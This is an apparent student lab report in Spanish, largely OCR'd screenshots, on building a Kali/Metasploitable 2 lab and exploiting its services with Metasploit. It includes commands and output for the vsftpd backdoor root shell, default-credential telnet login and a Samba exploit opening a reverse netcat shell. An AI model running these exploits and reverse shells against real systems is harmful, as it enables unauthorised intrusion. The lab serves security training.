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1 Resumen

Se configur6 un entorno virtualizado con Kali Linux y Metasploitable 2 en red NAT,
se verifico la conectividad, se realiz6 un escaneo con Nmap y se explotaron
vulnerabilidades en puertos especificos usando Metasploit.



2 Palabras clave

Kali Linux, Metasploitable 2, NAT, Metasploit, Nmap, Exploit, Seguridad
Informatica.



3 Introduccion

Se presenta la configuracion de un entorno de pruebas y la explotacion de
vulnerabilidades en servicios criticos de Metasploitable 2 desde Kali Linux para
practicas de seguridad ofensiva.



4 Objetivos
4.1 General

*  Configurar y probar un entorno seguro para evaluar vulnerabilidades.
4.2 Especificos

o Configurar la red NAT.

o  Verificar conectividad.

o Escanear servicios.

o Explotar vulnerabilidades.
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5 Marco teorico

5.1 Configuracion del entorno virtual

Breve descripcion de Kali, Metasploitable 2, redes NAT, Nmap, Metasploit y
principales servicios expuestos.

5.1.1 Descarga de ISOs

» Kali Linux

W3 Oracle VirtualBox Administrados = a

T — W & .

Nueva Afadir  Configuracién Descartar  Iniciar

=) Previsualizacién

*/ MV Hacking () KALLUNUX - Settings - o X

Metasploitable2 ) Search settings £

7 Basic Search settings

General Almacenamiento KALI LINUX
Be™ KALILINUX P
f © Apagada Sistoma Dispositives. Atributos
4 Controlador: IDE Nombre: SATA

f357 | WINDOWS XP o
15 RO p— [ Fantalla @ vacio Tipo: | AHCI .

Controlador: SATA ; 5
KALLLINUX.vel

) Usar cache de /0 anfitrién
@: Audio C:\Users\IngrotVirtualBex
VME\KALLLINUX\KALLLINUX vel
@ Red Tipo (Formate): Normal (VDI)
Conectado a KALI_LINUX
£ Puertosserie

& UsB

L X L
B e et
] intertaz de usuario Audio
8 Habilitar audio |
)
Controlador USB:  OHCI, EHCI
Filtros de dispositivos: 0 {0 activc)
[C] Carpetas compartidas
Ninguno
&) Descripcion
© 23 am F - D oy 417a.m.
b Luvia Em  Q Buscr E = [ s N B TED s

llustracion 1 -iso

Tlustracion 1 - KALI LINUX

*  Metasploitable 2
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@ Metasploitable2 - Settings = =]
(- Genera Almacenamiento

[ Dispositives Atributos
- Sistoma =
1. <> Controlador IDE e ke

[ Pantata Bl Metasploitable2-diskO0 1. vei

Nombre: IDE

Tipo: PlIXa

@ Vacio INgro\VirtualBox VAMs\MV cache de 17O anfitrién
% Almacenamionto Metasploitable2\Metasploitable?
PG Audie

Cvaiy
(-l Red
100 Puertos serie
£ use

! Carpetas compartidas

[E7]  interfaz de usuario Audio
B Habilitar audio

| Filtros de dispositivas: O (0 activo) — === Sxsse
[T] Carpetas compartidas
llustracion 2 -isos
5.1.2 Creacion de maquinas virtuales
* En VirtualBox, crea dos maquinas: Kali y Metasploitable 2.
15 Oracle VirtualBox Administrador = O *
Archive  Maquina  Ayuda
1 e W =
ﬁ Herramientas =
Mueva Afiadir  Configuracién Descartar  Iniciar
.+ MV Hacking @ General @ Previsualizacién
Mombre: Metasploitabled
Metasploitable2 = Sistema operative:  Other Linux (84-bit)
@Apagada — Grupos: MV Hacking
Sistema e
o] KALI LINUX Metasplmtablez
f . Memaria base: 1024 MB
£ Corriendo

Orden de arranque:  Disquete, Optica,

llustracion 3 — maquinas
5.1.3 Asignacion y verificacion de IP
En cada maquina:
ipa
Ambas deben tener direcciones en la subred 10.0.2.0/24.
Para confirmar la correcta asignacion de direcciones IP en las maquinas virtuales, se

ejecuto el comando ip a en cada sistema operativo. Como resultado, ambas maquinas
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presentan direcciones en el rango 10.0.2.0/24, evidenciando que estan correctamente
configuradas para comunicarse entre si a través de la red NAT.

A continuacidn, se muestra la captura de pantalla como evidencia del estado de la
configuracion:

En cada maquina:

Kali Linux

a
1: <LOOPBACK, UP, NER_UP> mtu 65536 gdisc noqueue state UNKNOWN group def
~\ ault glen 1000
] link/loopback :00:00:00:00:00 brd 00
inet /8 scope host lo
valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_1ft forever preferred_lft forever
25 <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fgq_codel state UP g
roup default glen 1000
link/ether 0 :bc:d7 brd ff:ff:ff:ff:ff:ff
inet /2 scope global dynamic noprefixroute eth@
valid_1ft 464sec preferred_lft 464sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever

&L::EZF;% == Q Buscar = _‘? m é vl‘:;

Ilustracion 4 — Kali

Metasplotaible
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LLast login: Mon Aug 4 17:04:50 EDT 2025 on ttyl
Linux metasploitable £2.6.24-16-server #1 SMP Thu fApr 10 13:58:00 UTC 2008 i6d86

The programs included with the Ubuntu system are free software:
he exact distribution terms for each program are described in the
individual files in rusrssharesdoc/=/copyright.

buntu comes with ABSOLUTELY NHO WARRANTY, to the extent permitted by
pplicable law.

To access official Ubuntu documentation, please visit:
http:-/shelp.ubuntu.coms

o mail.
sfadmin@metasploitable:™5 ip a
1: lo: {LOOPBACK,UP,LOUER_UP> mtu 16436 gdisc noqueue
link~loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1-8 scope host lo
inetb ::1-128 scope host
valid_Ift forever preferred_Ift forever
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast glen 1000
linksether 08:00:27:47:cc:b8 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.4-24 brd 10.0.2.255 =cope global etho
inetb feB0::a00:27ff:fe4?:ccbBr64 scope link
valid_Ift forever preferred_Ift forever

sfadmin@metasploitable: ™5 _
B e =i & @ @ cTRL DERECHA

Iustracion 5 - metasplotaible
5.1.4 Verificar conectividad
Desde Kali:
ping 10.0.2.15

Debe haber respuesta para asegurar que las maquinas se ven entre si.
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rosa@rosa: ~

Archivo Acciones Editar Vista Ayuda

inet /24 brd scope global dynamic noprefixroute eth@
valid_1ft 464sec preferred_lft 464sec

inet6 4 scope link nopr
valid_1ft forever preferred_lft forever

.15) 56(84)
64 bytes from .0. icmp_seq
64 bytes from i

¥ 10.0.2.4

PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.
64 bytes 10.0.2 icmp_seq=1 4 time
64 bytes 10.0. i
64 bytes from 10.0.

64 bytes from 10.0.2.4: icmp_ =64 time=1.12
64 bytes from 10.0 ttl=64 time=11.5
z

zsh: suspended ping 10.

4
4

p Se avecinan dias...
J 23:C

Q Buscar

llustracion 6 — ping

6 Escaneo con Nmap

Ejecutar en Kali para detectar servicios vulnerables:

nmap -p 21,22,23,25,53,139,445,2121,3306,5432 10.0.2.15



rosa@rosa: ~

\ Archivo Acciones Editar Vista Ayuda

tes from 10.0 cmp_seq=3 ttl=64 time=11.4 ms
ttl=64 t 2 ms
eq=5 ttl=64 time=11.5 ms

or 10
0.000011s 1

TE SERVICE
ftp
ssh
closed telnet
closed
closed
closed

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds

llustracion 7 - servicios de map

6.1 Resultado observado (imagen 4):
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh  OpenSSH 4.7p1 Debian
Para descubrir hosts en la red:

nmap -sn 10.0.2.15/24

STATE SERV

open ftp

Hlustracion 8 - ejemplo en clases

6.2 Resultado (imagen 5):

15

& ¢ |E @& @ CTRLDERECH)

Detecta direcciones activas como 10.0.2.1 a 10.0.2.15, confirmando funcionamiento de

la red NAT.
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rosa@rosa: ~

\ Archivo Acciones Editar Vista Ayuda

3306/tcp closed mysql
5432/tcp closed postgresgl

Nmap doi 1 IP address (1 host up) scanned in 0.10 seco

10.0.2.15/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 11:4
Nmap scan report for 10.0.2.1
Host is up (0.00031s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
an report for 10 2
s latency).
:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10 3
).
AE (PCS Systemtechnik/Oracle VirtualBox virtual N

Nmap scan report for 10.0.2.4
Host is up (0.0032s latency).
MAC Address: O A B8 (PCS Systemtechnik/Oracle VirtualBox virtual N
1C)
Nmap scan report for 10.0.2.15
i .
: 256 IP addresses (5 hosts up) scanned in 2.13 seconds

@O B &G @ TR DERECH!

© 23°c 5 - = & EsP 4o 443am.
Q Buscar E = E' e ‘\r.! R R = %) O 7/08/2025

¥ Luvia ligers

7 Uso de Metasploit Framework

Inicia Metasploit:

Metasploit tip: Display the Framework log using the log command, learn
more with help log

"BP d88sss

88b
88n

& o |Ed &G @ CTRLDERECHA

4

© 23c . - = = 47a.m.
Q Buscar [E} - g g ‘f’-‘ ~A G fi: 2 ) o 7/08/;02'“5

¥ Liuvia ligera

llustracion 9 - msfconsole

msfconsole
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7.1 Explotacion de puertos y servicios especificos
7.1.1 Puerto 21 — FTP (vsftpd 2.3.4)
Usar el exploit:
use exploit/unix/ftp/vsftpd 234 backdoor
set payload cmd/unix/interact
exploit
Salida real (imagen 2):
e Banner: 220 (vsFTPd 2.3.4)
e Backdoor activado: Backdoor service has been spawned...
e Shell obtenido como root:

e UID=0(root) GID=0(root)
o Command shell session 1 opened...

https://metasploit.com

=[ meta
— —=[ 2519 e

//docs .metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd 4_backdoor

No payload configured, defaulting to cmd/unix/
msf6 exploit( ) > set r
2

) > set payload cmd/unix/interact
nix/interact

msf6 expl ) > exploit

10.0.2. - The port used by the backdoor bind listener is already open
[+] 10.0.2 - UID: uid=0(root) gid=0(root)

Found

Command shell session 1 opened (10.0.2.15:35633 — 10.0.2.4:6200) at 2025
07 11:57:50 +0200

@O =@ &S @ TR Derect

5 _ = Esp 438a.m.
a i= Q Buscar E = V*’ g ‘\I'J a N @ D) o 7/08/2025
llustracion 10

7.1.2 Puerto 22 — SSH

Para ataques por fuerza bruta o autenticacion con Metasploit, buscar el modulo
ssh_login:

search ssh_login

Resultados (imagen 1):
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e Moddulos listados:
o auxiliary/scanner/ssh/ssh login
o auxiliary/scanner/ssh/ssh_login_pubkey

Usar moédulo:
use auxiliary/scanner/ssh/ssh_login
options

Configurar RHOSTS, USERNAME y PASSWORD segtin pruebas.

S omEmP o 2 ] [ DR 3 204 | @ G

>

}_a \ = T B Captura de pantalla tomada
Carpeta pe... ( rosa@rosa: ~

\ Archivo Acciones Editar Vista Ayuda

by

- - “y - taspl t 4.64
— _!;‘ \ e oits - 1296 auxiliary - 431 post
3 ) = + ds - 49 encoders - 13 nops
Sistema e [9

entation: https://docs.metasploit.com/
earch ssh_login

Matching Modules

Disclosure Date Check
normal
ssh/SSAULGEIA pubkey . normal
SSH Public Key Log anner

Interact with a module by name or index. For example

msf6 > use auxiliary/scanner/ssh/ssh_login

&S B i@ @S @ CTRLDERECHA

© Tormentas am 5 = = O ESP 5042.m.
J7 Porla manana mm Q Busa = - V»I g Vf:l N B G, 2 Q) 0 7/08/2025

Ilustracion 11



SSWORDS

BRUTEFORCE_SPEED

CreateSession

rosa@rosa: ~

false

5

DB_ALL_CREDS

DB_ALL_PASS

DB_ALL_USERS
to the list
skip existing denti s
d in the current databa
: none, user, u

DB_SKIP_EXISTING
PASSWORD word to auth
PASS_FILE

RHOS

RPORT
STOP_ON_SUCCESS

@ & |E# & @ @ CTRL DERECHA

5:08a.m.
7/08/2025

am

© 2 mm delivvia
J [ | ]

Hoy

NG S AN®

Q Buscar

[lustracion 12

7.1.3 Puerto 23 — Telnet

Si el escaneo revela que esta abierto, se puede usar:
use auxiliary/scanner/telnet/telnet login

set RHOSTS 10.0.2.15

set USERNAME <usuario>

set PASSWORD <contrasefia>

run
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[ =]

gk

rosa@rosa: ~

Archivo Acciones Editar Vista Ayuda

| starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 13
Nmap scan report for 10.0.2.4
Host is up (0.0024s latency).
PORT  STATE SERVICE
23/tcp open telnet
MAC Addr 08:00:27: 38 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

Metasploit tip: Open an interactive Ruby terminal with irb

MET. IT by

EXPLOIT

& o Bl WG @ CTRLDERECHA

Muy himedo am = - - g ESPoopoian GDSEM
1§ o Em Q Busar = - B.' g ‘f:l NG g RO® s

[lustracion 13
1672 payloads - 49 encoders - 13 nops

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/scanner/telnet/telnet_login

msf6 auxiliary( ) > set rhosts 10.0.

rhosts = 10.0

msf6 auxiliary( > set username rosa

username = rosa

msf6 auxiliary( ) > set password rosa

password = rosa

msf6 auxiliary( ) > run

[!] 10.0.2. - No active DB —— Credential data will not be saved!
10.0.2. =002 LOGIN FAILED: rosa:rosa (Incorrect: )
10.0.2.4:23 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( ) > set username msfadmin

username = msfadmin

~ msf6 auxiliary( ) > set password msfadmin

password = msfadmin

msf6 auxiliary( ) > run

[!] 10.0. No active DB -—- Credential data will not be saved!

+] 10.0.2.4: 10.0.2.4:23 - Login Successful: msfadmin:msfadmin

10.0.2 Attempting to start session 10.0.2 23 with msfadmin:msfadmin
Command shell session opened (10.0.2.15:38149 — 10.0.2.4:23) at 2025-08-07 13:24:33 +0200
10.0.2.4:23 Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

llustracion 14

7.1.4 Puerto 25— SMTP

Si abierto, ejemplo de exploit:
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use exploit/unix/smtp/exim4_string format
set RHOST 10.0.2.15

set RPORT 25

exploit

msf6 > use exploit/unix/smtp/exim4_string_ format

msf6 exploit( ) > set rhost 10.0.2.4

rhost = 10.0.2.4

msf6 exploit( ) > set rport 25

rport = 25

msf6 exploit( ) > set payload cmd/unix/reserve_perl
The value specified for payload is not wvalid.

msf6 exploit( ) > set payload cmd/unix/reverse_perl

payload = cmd/unix/reverse_perl

msf6 exploit( ) > set lhost 10.0.2.15

lhost = 10.0.2.15

msf6 exploit( ) > set port 1515

[!] Unknown datastore option: port. Did you mean RPORT?

port = 1515

msf6 exploit( ) > exploit
Started reverse TCP handler on 10.0.2.15:4444
10.0.2.4:25 — Connecting to 10.0.2.4:25 ...
10.0.2.4:25 — Server: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
10.0.2.4:25 - Exploit aborted due to failure: no-target: The target server is
Exploit completed, but no session was created.

msf6 exploit( ) >

Ilustracion 15

Auxiliary module execution completed
msf6 auxiliary( ) >
zsh: suspended msfconsole

25 10.0.2.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 14:4@ CEST
Nmap scan report for 10.0.2.4
Host is up (0.0015s latency).

ORT STATE SERVICE

25/tcp open smtp
MAC Address: 08:00:27:47:CC:B8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

llustracion 16

7.1.5 Puerto 53 — DNS

Enumerar DNS:
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use auxiliary/gather/enum_dns

set RHOSTS 10.0.2.15

S m PO

g rosa@rosa: ~

Archivo Acciones Editar Vista Ayuda

rosa@rosa: ~ ¥ rosa@rosa: ~

Metasploit Documentation: https://docs.metasploit.com/

use auxoliamsf6 > use auxiliary/gather/enum_dns
msf6 auxiliary( ) > set rhost 10.
[!] Unknown datastore option: rhost. Did you m
rhost = 10.0.2.4

msf6 auxiliary( ) > show options

Module options (auxiliary/gather/enum_dns):

Name rr Set uired iption
DOMAIN The target domain
_A true Enumerate DNS A record
true S Initiate a zone transfer against each NS r
ord
ENUM_BRT false e Brute force subdomains and hostnames via the
supplied wordlist
ENUM_CNAME true Enumerate DNS CNAME record
ENUM_MX true Enumerate DNS MX record
ENUM_NS true Enumerate DNS NS record
ENUM_RVL false Reverse lookup a range of IP addresses
true Enumerate DNS SOA record
true S Enumerate the most common SRV records
TLD false Perform a TLD expansion by replacing the TLD

Y ®I® @] TRL DERECH2
- &g ESP 6:49a.m.
QFBuscar L -2 W NB s RO® s

© 2 mm de liuvia
J Hoy

Ilustracion 17
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Archivo Acciones Editar Vista Ayuda

rosa@rosa: ~ ¥ rosa@rosa: ~ #

space separated
A proxy chain of format type:host:port[,type
ort][ ... ]. Supported proxi sapni,
K socks5, socks5h, http
target port (TCP)
DNS domain search list, comma separated
OP_WLDCRD false Stops bruteforce enumeration if wildcard res
olution is detected
THREADS 1 Threads for ENUM_BRT
WORDLIST /usr/share/metasploit-fra Wordlist of subdomains
wordlists/nam

View the full module info with the , or command.

msf6 auxiliary( ) > set domain seguridad.com
~ domain = seguridad.com
P nsf6 auxiliary( ) > run
4 Querying DNS NS records for seguridad.com
seguridad.com NS: nsl.dyna-ns.net
seguridad.com NS: ns2.dyna-ns.net
Attempting DNS AXFR for seguridad.com from 162.159.
Query seguridad.com DNS AXFR - no results wi i
Attempting DNS AXFR for seguridad.com from 162.
Query seguridad.com DNS AXFR - no results wi

& B i@ @S @ CTRLDERECHA

0 2mm deluvia O Rucrar [ =uorE & N2 @ Al B omanen S50am
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7.1.6 Puertos 139 y 445 — Samba/SMB
Exploit recomendado:
use exploit/multi/samba/usermap_script

set RHOST 10.0.2.15

exploit

Captura de pantalla tomada
Archivo Acclones Editar Vista Ayuda

rosa@rosa: ~

sermap_scr
)

(exploit/multi/samba/usermap_script)

Current Setting R scriptien

The local client address

client pe

ir format

[5] ) o o | ) e $ G (8 CTRL DERECHA
B o nubiads Bl Q suc = - O £ %S ~ @ B mom S

Mlustracion 19
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oo a 7| a e

~

Archivo Acciones Editar Vista Ayuda

rosa@rosa: ~ ¥ rosa@rosa: ~ #

ng-metasploit/basics/using-me ploit.html
RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name r tting Required Description

LHOST 10.0.2. The listen address (an interface
LPORT 444k y The listen port

Exploit target:

Id Name

Automatic

View the full module info , or command.

msf6 exploit( ) > set rhosts 10.0.2
rhosts = 10.0.2.

msf6 exploit( ) > set payload cmd/uni.
payload = cmd/unix/reverse_netcat

& @ |E @& & @ # CTRL DERECHA
6:57a.m.

Qasc B Q suscr L - e ~e F oaae ST

Mayorm. nublado
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O o a7 @& ¢

R
= Captura de pantalla tomada
Archivo Acciones Editar Vista Ayuda

rosa@rosa: ~ ¥ rosa@rosa: ~ #

msf6 exploit( set rhosts 10.0.2.4
rhosts
set payload cmd/unix/reverse_netcat
rse_netcat
set lhost 10.0.2.15

ip a

<LOOPBACK,UP, LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
link/loopback 0 20 brd 00 00:00
/8 scope host lo
for pr ed_1ft for
ineté y scope host noprefixroute
valid_1lft forever preferred_lft forever
<BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default glen 1000
link/ether € 0:27:4f:bc:d7 brd ffiffoffff
inet /24 brd scope global dynamic noprefixroute etho
valid_lft S514sec preferred_lft 5l4sec
inet6 /64 scope link noprefixroute
alid_1ft forever preferred_lft forever
msf6 exploit( ) > set lport 4444

ploit
4

& & |E @ &S @ CTRL DERECHA
23°C = - = i ) 6:57a.
8 _ IO LLaEe Y e ewm i

Mayorm. nublado

lustracion 21
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valid_1ft forever preferred_lft forever
msf6 exploit( ) > set lport 4444
lport = 4444
msf6 exploit( ) > exploit

Started reverse TCP handler on 10.0.2.15:4444
Command shell session 1 opened (10.0.2.15:4444 — 10.0.2.4:34599) at 2025-08-07 13:56:15 +0200

Ilustracion 22

445:

445 10.0.2.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 14:43 CEST
Nmap scan report for 10.0.2.4
Host is up (@.017s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:47:CC:B8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

Lustracion 23

7.1.7 Puerto 2121 — FTP alternativo
Si abierto, intentar el exploit de vsftpd:
use exploit/unix/ftp/vsftpd 234 backdoor
set RHOST 10.0.2.15
set RPORT 2121
exploit

No payload configured, defaulting to cm nteract
( rhost 10.0.2.4

) > set rport 2121

(Debian) [:: ffff:10.0.2.4]

USER: 3
Exploit completed, but no se:
msf6 exploit(

& @ Bl G @ TR DERECHA

7:56a.m.

Lluvia intensa - k] ESP
i G L-@EEG S8 T oo

llustracion 24
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7.1.8 Puerto 3306 — MySQL
Detectar version:
use auxiliary/scanner/mysql/mysql version
set RHOSTS 10.0.2.15
run
Intentar acceso sin contrasena:
use auxiliary/admin/mysql/mysql_sql
set RHOST 10.0.2.15
set USERNAME root

set PASSWORD "

rosa@rosa: ~
Ayuda . Captura de pantalla tomada

Archivo Acciones Editar Vista

rosa@rosa: ~ E root@rosa: fhome/rosa

msf6 > use auxiliary/scanner/mysql/mysql_version
New in Metasploit 6.4 - This module can target a I (o3 -1,
msf6 auxiliary( ) > set rhosts 10.0.2.4
rhosts = 1©0.0.2.4
msf6 auxiliary( ) > run
[+] 10.0 4:3306 — 10.0.2.4:3306 is running MySQL 5.@0.51a-3ubuntu5 (protocol
10.0 4:3306 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary( ) > set username root
!l Unknown datastore option: username.
username — root
auxiliary( ) > set password 123
] Unknown datastore option: password.
password = 123
msf6 auxiliary( ) > run
[+] 10.0 4:3306 — 10.0.2.4:3306 is running MySQL 5.@.5l1a-3ubuntu5 (protocol
10.0 4:3306 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
f6 auxiliary( ) > set sqlselect version()
] Unknown datastore option: sqlselect.
sqlselect = version()
msf6 auxiliary( ) > run
[+] 10.0 4:3306 — 10.0.2.4:3306 is running MySQL 5.0.5l1a-3ubuntu5 (protocol 1@)
1.0 4:3306 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary( > > 0

) o &P

= & &1 & (3] CTRL DERECHA
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7.1.9 Puerto 5432 — PostgreSQL
Detectar version:
use auxiliary/scanner/postgres/postgres version

set RHOSTS 10.0.2.15

) > run A
QL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc

& B @S @ CTRLDERECHA
Uuvia intensa al 5 : i "
Je BR  Q Buscar E = e\ ~e B oA Sl
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7.1.10 Explotacion web — DVWA
Desde el navegador de Kali, acceder a:
http://10.0.2.15/dvwa

Imagen 3 muestra la pantalla de login de Damn Vulnerable Web Application, lista
para pruebas de vulnerabilidades web como XSS, CSRF o SQL Injection.
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O &0

KaliLinux 8 Kali Tools cs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

« TWiki

« phpMyAdmin
» Mutillidae

» DVWA

» WebDAV

(& & || (B i & & [#) CTRL DERECHA

~ & f:i 2 o) @

B se avecinan dias...
J 2ac

Q Buscar 'S

7:58a.m.
7/08/2025
Ilustracion 27

BRemPo-)-|

(3  DamnVulnerable WebApp ( X  +

< C @ O & 10.0

OffSec Kali Linux @ KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

N\
DVWA

Username
Password
| Login |
& o B &S @ CTRLDERECHA
O 2 mm deliuwvia um - - & g a EeT 7:59a.m,
7 Hoy mm  Q Buscr - m g ‘D AR, TO® 7/08/2025
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N

S mm P ol ' O A guso | & ¢
(3  © DamnVulnerableWeb Ay x  +

sl Captura de pantalla tomada
< C @ O & 10.

OffSec Kali Linux 8 KaliTools « KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

DiR)

[ Welcome to Damn Vulnerable Web App!

Instructions Damn Vulnerable Web App (DVWA) is a ySQL web that is damn Its main goals are

to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
Setup better the of securing web and aid web
application security in a class room environment.

Brute Force WARNING!
Command Execution | Damn Vuinerable Web App is damn vulnerable! Do not upload o your hosting provider's public htm folder or
CSRE any internet facing web server as it will be comp and installing
onto a local machine inside your LAN which is used So\ely e testing
File Inclusion
Disclaimer
SQL Injection

We do not take responsibility for the way in which any one uses this application. We have made the purposes of
SOt Infechon (Blint) | the clear and it should not be used maliciously. We have given warnings and taken measures to
Upload prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation

of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it
XSS reflected

s asTd General Instructions

The help button allows you to view hits/tips for each vuinerability and for each security level on their respective
DVWA Security

PHP Info |
@ & |E @ &S @ CTRL DERECHA
B 2 mm de llwia =a - - & - ESP o 7:59a.m.
& ey | Gl L - ‘.‘ g “P A Gl ) 7/08/2025

Ilustracion 29

8 Resultados

e Red NAT funcional.

o Escaneo con Nmap revel6 puertos abiertos.

o Explotacion exitosa de vsftpd con shell root.

e Acceso al entorno DVWA para pruebas web.

e Configuracion y ejecucion de modulos ssh_login para fuerza bruta.
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9 Analisis de vulnerabilidades

Servicios obsoletos con exploits conocidos.
Posibilidad de obtener shells remotos como root.
Riesgo alto si servicios como vsftpd o aplicaciones vulnerables (DVWA) estan

expuestos en produccion.
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10 Conclusiones

Se demostro la efectividad de la metodologia para detectar y explotar servicios

vulnerables.
Es esencial mantener actualizados los servicios y restringir accesos en

produccion.



11 Recomendaciones

Deshabilitar servicios no utilizados.

Configurar contrasefias seguras y politicas de acceso.

Separar entornos de prueba de entornos reales.
Monitorear puertos y servicios expuestos.

32
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